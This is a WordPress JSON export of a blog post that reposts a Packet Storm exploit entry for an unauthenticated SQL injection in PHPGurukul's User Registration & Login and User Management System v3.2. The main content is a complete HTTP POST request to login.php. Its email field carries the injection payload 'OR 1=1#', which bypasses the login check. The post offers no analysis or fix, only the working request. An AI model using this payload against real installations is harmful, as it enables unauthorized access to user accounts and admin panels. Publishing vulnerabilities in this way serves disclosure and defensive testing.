{"id":56089,"date":"2024-04-04T19:29:54","date_gmt":"2024-04-04T15:29:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177935\/urlums32-sql.txt"},"modified":"2024-04-04T19:29:54","modified_gmt":"2024-04-04T15:29:54","slug":"user-registration-and-login-and-user-management-system-3-2-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/user-registration-and-login-and-user-management-system-3-2-sql-injection\/","title":{"rendered":"User Registration And Login And User Management System 3.2 SQL Injection"},"content":{"rendered":"<pre readability=\"10.5\"><code readability=\"15\"># Exploit Title: User Registration &amp; Login and User Management System v3.2 - SQL Injection (Unauthenticated)<br># Exploit Author: Yusuf D\u0130N\u00c7<br># Google Dork: NA<br># Date: 05\/03\/2024<br># Vendor Homepage: https:\/\/phpgurukul.com<br># Software Link:<br>https:\/\/phpgurukul.com\/user-registration-login-and-user-management-system-with-admin-panel\/<br># Version: 3.2<br># Tested on: Linux<p>POST \/test\/loginsystem\/login.php HTTP\/1.1<br>Host: localhost<br>User-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko\/20100101 Firefox\/123.0<br>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,\/;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application\/x-www-form-urlencoded<br>Content-Length: 53<br>Origin: http:\/\/localhost<br>Connection: close<br>Referer: http:\/\/localhost\/test\/loginsystem\/login.php<br>Cookie: csrftoken=WYNmntI3xnkUlg89ElNUCBp6mFVAZel8; sessionid=t5apbvw2jdnur3uvudxt8mcn7cdudbi5; PHPSESSID=1mnimk5b1591oukpi0kh90n0hv<br>Upgrade-Insecure-Requests: 1<br>Sec-Fetch-Dest: document<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-User: ?1<\/p><p>uemail=test%40gmail.com'+OR+1=1#&amp;password=test&amp;login=<br><\/p><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: User Registration &amp; Login and User Management System v3.2 &#8211; SQL Injection (Unauthenticated)# Exploit Author: Yusuf D\u0130N\u00c7# Google Dork: NA# Date: 05\/03\/2024# Vendor Homepage: https:\/\/phpgurukul.com# Software Link:https:\/\/phpgurukul.com\/user-registration-login-and-user-management-system-with-admin-panel\/# Version: 3.2# Tested on: LinuxPOST \/test\/loginsystem\/login.php HTTP\/1.1Host: localhostUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko\/20100101 Firefox\/123.0Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,\/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application\/x-www-form-urlencodedContent-Length: 53Origin: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56089","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56089","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56089"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56089\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56089"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56089"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56089"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}